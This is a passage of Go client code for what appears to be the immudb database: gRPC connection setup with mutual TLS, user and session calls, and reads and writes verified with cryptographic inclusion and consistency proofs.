debugElapsedTime(method string, start time.Time) {\n\tc.Logger.Debugf(\"method immuclient.%s took %s\", method, time.Since(start))\n}\n\nfunc (c *immuClient) getServerIdentity() string {\n\t// TODO: Allow customizing this value\n\treturn c.Options.Bind()\n}\n\n// SetupDialOptions extracts grpc dial options from provided client options.\nfunc (c *immuClient) SetupDialOptions(options *Options) []grpc.DialOption {\n\topts := options.DialOptions\n\t//---------- TLS Setting -----------//\n\tif options.MTLs {\n\t\t//LoadX509KeyPair reads and parses a public/private key pair from a pair of files.\n\t\t//The files must contain PEM encoded data.\n\t\t//The certificate file may contain intermediate certificates following the leaf certificate to form a certificate chain.\n\t\t//On successful return, Certificate.Leaf will be nil because the parsed form of the certificate is not retained.\n\t\tcert, err := tls.LoadX509KeyPair(\n\t\t\t//certificate signed by intermediary for the client. It contains the public key.\n\t\t\toptions.MTLsOptions.Certificate,\n\t\t\t//client key (needed to sign the requests. Only the public key can open the data)\n\t\t\toptions.MTLsOptions.Pkey,\n\t\t)\n\t\tif err != nil {\n\t\t\tgrpclog.Errorf(\"failed to read credentials: %s\", err)\n\t\t}\n\n\t\tcertPool := x509.NewCertPool()\n\n\t\t// chain is composed by default by ca.cert.pem and intermediate.cert.pem\n\t\tbs, err := ioutil.ReadFile(options.MTLsOptions.ClientCAs)\n\t\tif err != nil {\n\t\t\tgrpclog.Errorf(\"failed to read ca cert: %s\", err)\n\t\t}\n\n\t\t// AppendCertsFromPEM attempts to parse a series of PEM encoded certificates.\n\t\t// It appends any certificates found to s and reports whether any certificates were successfully parsed.\n\t\t// On many Linux systems, /etc/ssl/cert.pem will contain the system wide set of root CAs\n\t\t// in a format suitable for this function.\n\t\tok := certPool.AppendCertsFromPEM(bs)\n\t\tif !ok {\n\t\t\tgrpclog.Errorf(\"failed to append certs\")\n\t\t}\n\n\t\ttransportCreds := credentials.NewTLS(&tls.Config{\n\t\t\t// ServerName is used to verify the hostname on the returned\n\t\t\t// certificates unless InsecureSkipVerify is given. It is also included\n\t\t\t// in the client's handshake to support virtual hosting unless it is\n\t\t\t// an IP address.\n\t\t\tServerName: options.MTLsOptions.Servername,\n\t\t\t// Certificates contains one or more certificate chains to present to the\n\t\t\t// other side of the connection. The first certificate compatible with the\n\t\t\t// peer's requirements is selected automatically.\n\t\t\t// Server configurations must set one of Certificates, GetCertificate or\n\t\t\t// GetConfigForClient. Clients doing client-authentication may set either\n\t\t\t// Certificates or GetClientCertificate.\n\t\t\tCertificates: []tls.Certificate{cert},\n\t\t\t// Safe store, trusted certificate list\n\t\t\t// Server need to use one certificate presents in this lists.\n\t\t\t// RootCAs defines the set of root certificate authorities\n\t\t\t// that clients use when verifying server certificates.\n\t\t\t// If RootCAs is nil, TLS uses the host's root CA set.\n\t\t\tRootCAs: certPool,\n\t\t})\n\n\t\topts = []grpc.DialOption{grpc.WithTransportCredentials(transportCreds)}\n\t}\n\tvar uic []grpc.UnaryClientInterceptor\n\n\tif c.serverSigningPubKey != nil {\n\t\tuic = append(uic, c.SignatureVerifierInterceptor)\n\t}\n\tuic = append(uic, c.IllegalStateHandlerInterceptor, c.TokenInterceptor)\n\n\tif options.Auth && c.Tkns != nil {\n\t\ttoken, err := c.Tkns.GetToken()\n\t\tuic = append(uic, auth.ClientUnaryInterceptor(token))\n\t\tif err == nil {\n\t\t\t// todo here is possible to remove ClientUnaryInterceptor and use only tokenInterceptor\n\t\t\topts = append(opts, grpc.WithStreamInterceptor(\n\t\t\t\tgrpc_middleware.ChainStreamClient(\n\t\t\t\t\tc.TokenStreamInterceptor,\n\t\t\t\t\tauth.ClientStreamInterceptor(token),\n\t\t\t\t\tc.SessionIDInjectorStreamInterceptor,\n\t\t\t\t)),\n\t\t\t)\n\t\t}\n\t}\n\tuic = append(uic, c.SessionIDInjectorInterceptor)\n\n\topts = append(opts, grpc.WithUnaryInterceptor(grpc_middleware.ChainUnaryClient(uic...)), grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(options.MaxRecvMsgSize)))\n\n\treturn opts\n}\n\n// Connect establishes new connection to the server.\n//\n// Deprecated: use NewClient and OpenSession instead.\nfunc (c *immuClient) Connect(ctx context.Context) (clientConn *grpc.ClientConn, err error) {\n\tc.Logger.Debugf(\"dialed %v\", c.Options)\n\n\tif c.clientConn, err = grpc.Dial(c.Options.Bind(), c.Options.DialOptions...); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn c.clientConn, nil\n}\n\n// Disconnect closes the current connection to the server.\n//\n// Deprecated: use NewClient and CloseSession instead.\nfunc (c *immuClient) Disconnect() error {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn errors.FromError(ErrNotConnected)\n\t}\n\n\tif err := c.clientConn.Close(); err != nil {\n\t\treturn err\n\t}\n\n\tc.ServiceClient = nil\n\tc.clientConn = nil\n\n\tc.Logger.Debugf(\"disconnected %v in %s\", c.Options, time.Since(start))\n\n\treturn nil\n}\n\n// IsConnected checks whether the client is connected to the server.\nfunc (c *immuClient) IsConnected() bool {\n\treturn c.clientConn != nil && c.ServiceClient != nil\n}\n\n// WaitForHealthCheck waits for up to Options.HealthCheckRetries seconds to\n// get a successful HealthCheck response from the server.\n//\n// Deprecated: grpc retry mechanism can be implemented with WithConnectParams dialOption.\nfunc (c *immuClient) WaitForHealthCheck(ctx context.Context) (err error) {\n\tfor i := 0; i < c.Options.HealthCheckRetries+1; i++ {\n\t\tif err = c.HealthCheck(ctx); err == nil {\n\t\t\tc.Logger.Debugf(\"health check succeeded %v\", c.Options)\n\t\t\treturn nil\n\t\t}\n\n\t\tc.Logger.Debugf(\"health check failed: %v\", err)\n\n\t\tif c.Options.HealthCheckRetries > 0 {\n\t\t\ttime.Sleep(time.Second)\n\t\t}\n\t}\n\treturn err\n}\n\nfunc logErr(log logger.Logger, formattedMessage string, err error) error {\n\tif err != nil {\n\t\tlog.Errorf(formattedMessage, err)\n\t}\n\treturn err\n}\n\n// GetServiceClient returns low-level GRPC service client.\nfunc (c *immuClient) GetServiceClient() schema.ImmuServiceClient {\n\treturn c.ServiceClient\n}\n\n// GetOptions returns current client options.\nfunc (c *immuClient) GetOptions() *Options {\n\treturn c.Options\n}\n\n// ListUser returns a list of database users.\n//\n// This call requires Admin or SysAdmin permission level.\n//\n// When called as a SysAdmin user, all users in the database are returned.\n// When called as an Admin user, users for currently selected database are returned.\nfunc (c *immuClient) ListUsers(ctx context.Context) (*schema.UserList, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\treturn c.ServiceClient.ListUsers(ctx, new(empty.Empty))\n}\n\n// CreateUser creates new user with given credentials and permission.\n//\n// Required user permission is SysAdmin or database Admin.\n//\n// SysAdmin user can create users with access to any database.\n//\n// Admin user can only create users with access to databases where\n// the user has admin permissions.\n//\n// The permission argument is the permission level and can be one of those values:\n//   - 1 (auth.PermissionR) - read-only access\n//   - 2 (auth.PermissionRW) - read-write access\n//   - 254 (auth.PermissionAdmin) - read-write with admin rights\nfunc (c *immuClient) CreateUser(ctx context.Context, user []byte, pass []byte, permission uint32, databasename string) error {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn errors.FromError(ErrNotConnected)\n\t}\n\n\t_, err := c.ServiceClient.CreateUser(ctx, &schema.CreateUserRequest{\n\t\tUser:       user,\n\t\tPassword:   pass,\n\t\tPermission: permission,\n\t\tDatabase:   databasename,\n\t})\n\n\tc.Logger.Debugf(\"createuser finished in %s\", time.Since(start))\n\n\treturn err\n}\n\n// ChangePassword changes password for existing user.\n//\n// This call requires Admin or SysAdmin permission level.\n//\n// The oldPass argument is only necessary when changing SysAdmin user's password.\nfunc (c *immuClient) ChangePassword(ctx context.Context, user []byte, oldPass []byte, newPass []byte) error {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn errors.FromError(ErrNotConnected)\n\t}\n\n\t_, err := c.ServiceClient.ChangePassword(ctx, &schema.ChangePasswordRequest{\n\t\tUser:        user,\n\t\tOldPassword: oldPass,\n\t\tNewPassword: newPass,\n\t})\n\n\tc.Logger.Debugf(\"ChangePassword finished in %s\", time.Since(start))\n\n\treturn err\n}\n\n// UpdateAuthConfig is no longer supported.\n//\n// Deprecated: will be removed in future versions.\nfunc (c *immuClient) UpdateAuthConfig(ctx context.Context, kind auth.Kind) error {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn errors.FromError(ErrNotConnected)\n\t}\n\n\t_, err := c.ServiceClient.UpdateAuthConfig(ctx, &schema.AuthConfig{\n\t\tKind: uint32(kind),\n\t})\n\n\tc.Logger.Debugf(\"UpdateAuthConfig finished in %s\", time.Since(start))\n\n\treturn err\n}\n\n// UpdateMTLSConfig is no longer supported.\n//\n// Deprecated: will be removed in future versions.\nfunc (c *immuClient) UpdateMTLSConfig(ctx context.Context, enabled bool) error {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn errors.FromError(ErrNotConnected)\n\t}\n\n\t_, err := c.ServiceClient.UpdateMTLSConfig(ctx, &schema.MTLSConfig{\n\t\tEnabled: enabled,\n\t})\n\n\tc.Logger.Debugf(\"UpdateMTLSConfig finished in %s\", time.Since(start))\n\n\treturn err\n}\n\n// Login authenticates the user in an established connection.\n//\n// Deprecated: use NewClient and OpenSession instead.\nfunc (c *immuClient) Login(ctx context.Context, user []byte, pass []byte) (*schema.LoginResponse, error) {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tresult, err := c.ServiceClient.Login(ctx, &schema.LoginRequest{\n\t\tUser:     user,\n\t\tPassword: pass,\n\t})\n\tif err != nil {\n\t\treturn nil, errors.FromError(err)\n\t}\n\tc.Logger.Debugf(\"login finished in %s\", time.Since(start))\n\n\terr = c.Tkns.SetToken(\"defaultdb\", result.Token)\n\tif err != nil {\n\t\treturn nil, errors.FromError(err)\n\t}\n\n\treturn result, nil\n}\n\n// Logout logs out the user.\n//\n// Deprecated: use CloseSession.\nfunc (c *immuClient) Logout(ctx context.Context) error {\n\tstart := time.Now()\n\n\tif !c.IsConnected() {\n\t\treturn errors.FromError(ErrNotConnected)\n\t}\n\n\tif _, err := c.ServiceClient.Logout(ctx, new(empty.Empty)); err != nil {\n\t\treturn err\n\t}\n\n\ttokenFileExists, err := c.Tkns.IsTokenPresent()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error checking if token file exists: %v\", err)\n\t}\n\tif tokenFileExists {\n\t\tif err := c.Tkns.DeleteToken(); err != nil {\n\t\t\treturn fmt.Errorf(\"error deleting token file during logout: %v\", err)\n\t\t}\n\t}\n\n\tc.Logger.Debugf(\"logout finished in %s\", time.Since(start))\n\n\treturn nil\n}\n\n// ServerInfo returns information about the server instance.\nfunc (c *immuClient) ServerInfo(ctx context.Context, req *schema.ServerInfoRequest) (*schema.ServerInfoResponse, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\treturn c.ServiceClient.ServerInfo(ctx, req)\n}\n\n// Health returns Health information about the current database.\nfunc (c *immuClient) Health(ctx context.Context) (*schema.DatabaseHealthResponse, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\treturn c.ServiceClient.DatabaseHealth(ctx, &empty.Empty{})\n}\n\n// CurrentState returns current database state.\nfunc (c *immuClient) CurrentState(ctx context.Context) (*schema.ImmutableState, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tstart := time.Now()\n\tdefer c.debugElapsedTime(\"CurrentState\", start)\n\n\treturn c.ServiceClient.CurrentState(ctx, &empty.Empty{})\n}\n\n// Get reads a single value for given key.\nfunc (c *immuClient) Get(ctx context.Context, key []byte, opts ...GetOption) (*schema.Entry, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tstart := time.Now()\n\tdefer c.debugElapsedTime(\"Get\", start)\n\n\treq := &schema.KeyRequest{Key: key}\n\tfor _, opt := range opts {\n\t\terr := opt(req)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn c.ServiceClient.Get(ctx, req)\n}\n\n// GetSince reads a single value for given key assuming that at least transaction `tx` was indexed.\n// For more information about getting value with sinceTx constraint see the SinceTx get option.\nfunc (c *immuClient) GetSince(ctx context.Context, key []byte, tx uint64) (*schema.Entry, error) {\n\treturn c.Get(ctx, key, SinceTx(tx))\n}\n\n// GetAt reads a single value that was modified at a specific transaction.\n// For more information about getting value from specific revision see the AtTx get option.\nfunc (c *immuClient) GetAt(ctx context.Context, key []byte, tx uint64) (*schema.Entry, error) {\n\treturn c.Get(ctx, key, AtTx(tx))\n}\n\n// GetAtRevision reads value for given key by its revision.\n// For more information about the revisions see the AtRevision get option.\nfunc (c *immuClient) GetAtRevision(ctx context.Context, key []byte, rev int64) (*schema.Entry, error) {\n\treturn c.Get(ctx, key, AtRevision(rev))\n}\n\n// Gets reads a single value for given key with additional server-provided proof validation.\nfunc (c *immuClient) VerifiedGet(ctx context.Context, key []byte, opts ...GetOption) (vi *schema.Entry, err error) {\n\tstart := time.Now()\n\tdefer c.debugElapsedTime(\"VerifiedGet\", start)\n\n\treq := &schema.KeyRequest{Key: key}\n\tfor _, opt := range opts {\n\t\terr := opt(req)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn c.verifiedGet(ctx, req)\n}\n\n// VerifiedGetSince reads a single value for given key assuming that at least transaction `tx` was indexed.\n// For more information about getting value with sinceTx constraint see the SinceTx get option.\n//\n// This function also requests a server-generated proof, verifies the entry in the transaction\n// using the proof and verifies the signature of the signed state.\n// If verification does not succeed the store.ErrCorruptedData error is returned.\nfunc (c *immuClient) VerifiedGetSince(ctx context.Context, key []byte, tx uint64) (vi *schema.Entry, err error) {\n\treturn c.VerifiedGet(ctx, key, SinceTx(tx))\n}\n\n// VerifiedGetAt reads a single value that was modified at a specific transaction.\n// For more information about getting value from specific revision see the AtTx get option.\n//\n// This function also requests a server-generated proof, verifies the entry in the transaction\n// using the proof and verifies the signature of the signed state.\n// If verification does not succeed the store.ErrCorruptedData error is returned.\nfunc (c *immuClient) VerifiedGetAt(ctx context.Context, key []byte, tx uint64) (vi *schema.Entry, err error) {\n\treturn c.VerifiedGet(ctx, key, AtTx(tx))\n}\n\n// VerifiedGetAtRevision reads value for given key by its revision.\n// For more information about the revisions see the AtRevision get option.\n//\n// This function also requests a server-generated proof, verifies the entry in the transaction\n// using the proof and verifies the signature of the signed state.\n// If verification does not succeed the store.ErrCorruptedData error is returned.\nfunc (c *immuClient) VerifiedGetAtRevision(ctx context.Context, key []byte, rev int64) (vi *schema.Entry, err error) {\n\treturn c.VerifiedGet(ctx, key, AtRevision(rev))\n}\n\nfunc (c *immuClient) verifyDualProof(\n\tctx context.Context,\n\tdualProof *store.DualProof,\n\tsourceID uint64,\n\ttargetID uint64,\n\tsourceAlh [sha256.Size]byte,\n\ttargetAlh [sha256.Size]byte,\n) error {\n\terr := schema.FillMissingLinearAdvanceProof(\n\t\tctx, dualProof, sourceID, targetID, c.ServiceClient,\n\t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tverifies := store.VerifyDualProof(\n\t\tdualProof,\n\t\tsourceID,\n\t\ttargetID,\n\t\tsourceAlh,\n\t\ttargetAlh,\n\t)\n\tif !verifies {\n\t\treturn store.ErrCorruptedData\n\t}\n\n\treturn nil\n}\n\nfunc (c *immuClient) verifiedGet(ctx context.Context, kReq *schema.KeyRequest) (vi *schema.Entry, err error) {\n\terr = c.StateService.CacheLock()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer c.StateService.CacheUnlock()\n\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tstate, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq := &schema.VerifiableGetRequest{\n\t\tKeyRequest:   kReq,\n\t\tProveSinceTx: state.TxId,\n\t}\n\n\tvEntry, err := c.ServiceClient.VerifiableGet(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tentrySpecDigest, err := store.EntrySpecDigestFor(int(vEntry.VerifiableTx.Tx.Header.Version))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinclusionProof := schema.InclusionProofFromProto(vEntry.InclusionProof)\n\tdualProof := schema.DualProofFromProto(vEntry.VerifiableTx.DualProof)\n\n\tvar eh [sha256.Size]byte\n\n\tvar sourceID, targetID uint64\n\tvar sourceAlh, targetAlh [sha256.Size]byte\n\n\tvTx := kReq.AtTx\n\tvar e *store.EntrySpec\n\n\tif vEntry.Entry.ReferencedBy == nil {\n\t\tif kReq.AtTx == 0 {\n\t\t\tvTx = vEntry.Entry.Tx\n\t\t}\n\n\t\te = database.EncodeEntrySpec(kReq.Key, schema.KVMetadataFromProto(vEntry.Entry.Metadata), vEntry.Entry.Value)\n\t} else {\n\t\tref := vEntry.Entry.ReferencedBy\n\n\t\tif kReq.AtTx == 0 {\n\t\t\tvTx = ref.Tx\n\t\t}\n\n\t\te = database.EncodeReference(kReq.Key, schema.KVMetadataFromProto(ref.Metadata), vEntry.Entry.Key, ref.AtTx)\n\t}\n\n\tif state.TxId <= vTx {\n\t\teh = schema.DigestFromProto(vEntry.VerifiableTx.DualProof.TargetTxHeader.EH)\n\n\t\tsourceID = state.TxId\n\t\tsourceAlh = schema.DigestFromProto(state.TxHash)\n\t\ttargetID = vTx\n\t\ttargetAlh = dualProof.TargetTxHeader.Alh()\n\t} else {\n\t\teh = schema.DigestFromProto(vEntry.VerifiableTx.DualProof.SourceTxHeader.EH)\n\n\t\tsourceID = vTx\n\t\tsourceAlh = dualProof.SourceTxHeader.Alh()\n\t\ttargetID = state.TxId\n\t\ttargetAlh = schema.DigestFromProto(state.TxHash)\n\t}\n\n\tverifies := store.VerifyInclusion(\n\t\tinclusionProof,\n\t\tentrySpecDigest(e),\n\t\teh)\n\tif !verifies {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\tif state.TxId > 0 {\n\t\terr := c.verifyDualProof(\n\t\t\tctx,\n\t\t\tdualProof,\n\t\t\tsourceID,\n\t\t\ttargetID,\n\t\t\tsourceAlh,\n\t\t\ttargetAlh,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tnewState := &schema.ImmutableState{\n\t\tDb:        c.currentDatabase(),\n\t\tTxId:      targetID,\n\t\tTxHash:    targetAlh[:],\n\t\tSignature: vEntry.VerifiableTx.Signature,\n\t}\n\n\tif c.serverSigningPubKey != nil {\n\t\terr := newState.CheckSignature(c.serverSigningPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\terr = c.StateService.SetState(c.Options.CurrentDatabase, newState)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn vEntry.Entry, nil\n}\n\n// Scan iterates over the set of keys in a topological order.\nfunc (c *immuClient) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\treturn c.ServiceClient.Scan(ctx, req)\n}\n\n// ZScan iterates over the elements of sorted set ordered by their score.\nfunc (c *immuClient) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\treturn c.ServiceClient.ZScan(ctx, req)\n}\n\n// Count returns count of key-value entries with given prefix.\n//\n// Note: This feature is not implemented yet.\nfunc (c *immuClient) Count(ctx context.Context, prefix []byte) (*schema.EntryCount, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\treturn c.ServiceClient.Count(ctx, &schema.KeyPrefix{Prefix: prefix})\n}\n\n// Count returns count of all key-value entries.\n//\n// Note: This feature is not implemented yet.\nfunc (c *immuClient) CountAll(ctx context.Context) (*schema.EntryCount, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\treturn c.ServiceClient.CountAll(ctx, new(empty.Empty))\n}\n\n// Set commits a change of a value for a single key.\nfunc (c *immuClient) Set(ctx context.Context, key []byte, value []byte) (*schema.TxHeader, error) {\n\treturn c.set(ctx, key, nil, value)\n}\n\nfunc (c *immuClient) set(ctx context.Context, key []byte, md *schema.KVMetadata, value []byte) (*schema.TxHeader, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\thdr, err := c.ServiceClient.Set(ctx, &schema.SetRequest{KVs: []*schema.KeyValue{{Key: key, Metadata: md, Value: value}}})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif int(hdr.Nentries) != 1 {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\treturn hdr, nil\n}\n\n// VerifiedSet commits a change of a value for a single key.\n//\n// This function also requests a server-generated proof, verifies the entry in the transaction\n// using the proof and verifies the signature of the signed state.\n// If verification does not succeed the store.ErrCorruptedData error is returned.\nfunc (c *immuClient) VerifiedSet(ctx context.Context, key []byte, value []byte) (*schema.TxHeader, error) {\n\terr := c.StateService.CacheLock()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer c.StateService.CacheUnlock()\n\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tstart := time.Now()\n\tdefer c.debugElapsedTime(\"VerifiedSet\", start)\n\n\tstate, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq := &schema.VerifiableSetRequest{\n\t\tSetRequest:   &schema.SetRequest{KVs: []*schema.KeyValue{{Key: key, Value: value}}},\n\t\tProveSinceTx: state.TxId,\n\t}\n\n\tvar metadata runtime.ServerMetadata\n\n\tverifiableTx, err := c.ServiceClient.VerifiableSet(\n\t\tctx,\n\t\treq,\n\t\tgrpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD),\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif verifiableTx.Tx.Header.Nentries != 1 || len(verifiableTx.Tx.Entries) != 1 {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\ttx := schema.TxFromProto(verifiableTx.Tx)\n\n\tentrySpecDigest, err := store.EntrySpecDigestFor(tx.Header().Version)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinclusionProof, err := tx.Proof(database.EncodeKey(key))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmd := tx.Entries()[0].Metadata()\n\n\tif md != nil && md.Deleted() {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\te := database.EncodeEntrySpec(key, md, value)\n\n\tverifies := store.VerifyInclusion(inclusionProof, entrySpecDigest(e), tx.Header().Eh)\n\tif !verifies {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\tif tx.Header().Eh != schema.DigestFromProto(verifiableTx.DualProof.TargetTxHeader.EH) {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\tvar sourceID, targetID uint64\n\tvar sourceAlh, targetAlh [sha256.Size]byte\n\n\tsourceID = state.TxId\n\tsourceAlh = schema.DigestFromProto(state.TxHash)\n\ttargetID = tx.Header().ID\n\ttargetAlh = tx.Header().Alh()\n\n\tif state.TxId > 0 {\n\t\tdualProof := schema.DualProofFromProto(verifiableTx.DualProof)\n\t\terr := c.verifyDualProof(\n\t\t\tctx,\n\t\t\tdualProof,\n\t\t\tsourceID,\n\t\t\ttargetID,\n\t\t\tsourceAlh,\n\t\t\ttargetAlh,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tnewState := &schema.ImmutableState{\n\t\tDb:        c.currentDatabase(),\n\t\tTxId:      targetID,\n\t\tTxHash:    targetAlh[:],\n\t\tSignature: verifiableTx.Signature,\n\t}\n\n\tif c.serverSigningPubKey != nil {\n\t\terr := newState.CheckSignature(c.serverSigningPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\terr = c.StateService.SetState(c.Options.CurrentDatabase, newState)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn verifiableTx.Tx.Header, nil\n}\n\n// ExpirableSet commits a change of a value for a single key and sets up the expiration\n// time for that value after which the value will no longer be retrievable.\nfunc (c *immuClient) ExpirableSet(ctx context.Context, key []byte, value []byte, expiresAt time.Time) (*schema.TxHeader, error) {\n\treturn c.set(\n\t\tctx,\n\t\tkey,\n\t\t&schema.KVMetadata{\n\t\t\tExpiration: &schema.Expiration{\n\t\t\t\tExpiresAt: expiresAt.Unix(),\n\t\t\t},\n\t\t},\n\t\tvalue,\n\t)\n}\n\n// SetAll sets multiple entries in a single transaction.\nfunc (c *immuClient) SetAll(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\thdr, err := c.ServiceClient.Set(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif int(hdr.Nentries) != len(req.KVs) {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\treturn hdr, nil\n}\n\n// ExecAll performs multiple write operations (values, references, sorted set entries)\n// in a single transaction.\nfunc (c *immuClient) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.TxHeader, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\ttxhdr, err := c.ServiceClient.ExecAll(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif int(txhdr.Nentries) != len(req.Operations) {\n\t\treturn nil, store.ErrCorruptedData\n\t}\n\n\treturn txhdr, nil\n}\n\n// GetAll retrieves multiple entries in a single call.\nfunc (c *immuClient) GetAll(ctx context.Context, keys [][]byte) (*schema.Entries, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tstart := time.Now()\n\tdefer c.debugElapsedTime(\"GetAll\", start)\n\n\tkeyList := &schema.KeyListRequest{}\n\n\tkeyList.Keys = append(keyList.Keys, keys...)\n\n\treturn c.ServiceClient.GetAll(ctx, keyList)\n}\n\n// Delete performs a logical deletion for a list of keys marking them as deleted.\nfunc (c *immuClient) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\treturn c.ServiceClient.Delete(ctx, req)\n}\n\n// TxByID retrieves all entries (in a raw, unprocessed form) for given transaction.\n//\n// Note: In order to read keys and values, it is necessary to parse returned entries\n// TxByIDWithSpec can be used to read already-parsed values.\nfunc (c *immuClient) TxByID(ctx context.Context, tx uint64) (*schema.Tx, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tstart := time.Now()\n\tdefer c.debugElapsedTime(\"TxByID\", start)\n\n\tt, err := c.ServiceClient.TxById(ctx, &schema.TxRequest{\n\t\tTx: tx,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdecodeTxEntries(t.Entries)\n\n\treturn t, err\n}\n\n// TxByIDWithSpec retrieves entries from given transaction according to given spec.\nfunc (c *immuClient) TxByIDWithSpec(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\treturn c.ServiceClient.TxById(ctx, req)\n}\n\n// TxByID retrieves all entries (in a raw, unprocessed form) for given transaction\n// and performs verification of the server-provided proof for the whole transaction.\nfunc (c *immuClient) VerifiedTxByID(ctx context.Context, tx uint64) (*schema.Tx, error) {\n\terr := c.StateService.CacheLock()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer c.StateService.CacheUnlock()\n\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tstart := time.Now()\n\tdefer c.debugElapsedTime(\"VerifiedTxByID\", start)\n\n\tstate, err := c.StateService.GetState(ctx, c.Options.CurrentDatabase)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvTx, err := c.ServiceClient.VerifiableTxById(ctx, &schema.VerifiableTxRequest{\n\t\tTx:           tx,\n\t\tProveSinceTx: state.TxId,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdualProof := schema.DualProofFromProto(vTx.DualProof)\n\n\tvar sourceID, targetID uint64\n\tvar sourceAlh, targetAlh [sha256.Size]byte\n\n\tif state.TxId <= tx {\n\t\tsourceID = state.TxId\n\t\tsourceAlh = schema.DigestFromProto(state.TxHash)\n\t\ttargetID = tx\n\t\ttargetAlh = dualProof.TargetTxHeader.Alh()\n\t} else {\n\t\tsourceID = tx\n\t\tsourceAlh = dualProof.SourceTxHeader.Alh()\n\t\ttargetID = state.TxId\n\t\ttargetAlh = schema.DigestFromProto(state.TxHash)\n\t}\n\n\tif state.TxId > 0 {\n\t\terr := c.verifyDualProof(\n\t\t\tctx,\n\t\t\tdualProof,\n\t\t\tsourceID,\n\t\t\ttargetID,\n\t\t\tsourceAlh,\n\t\t\ttargetAlh,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tnewState := &schema.ImmutableState{\n\t\tDb:        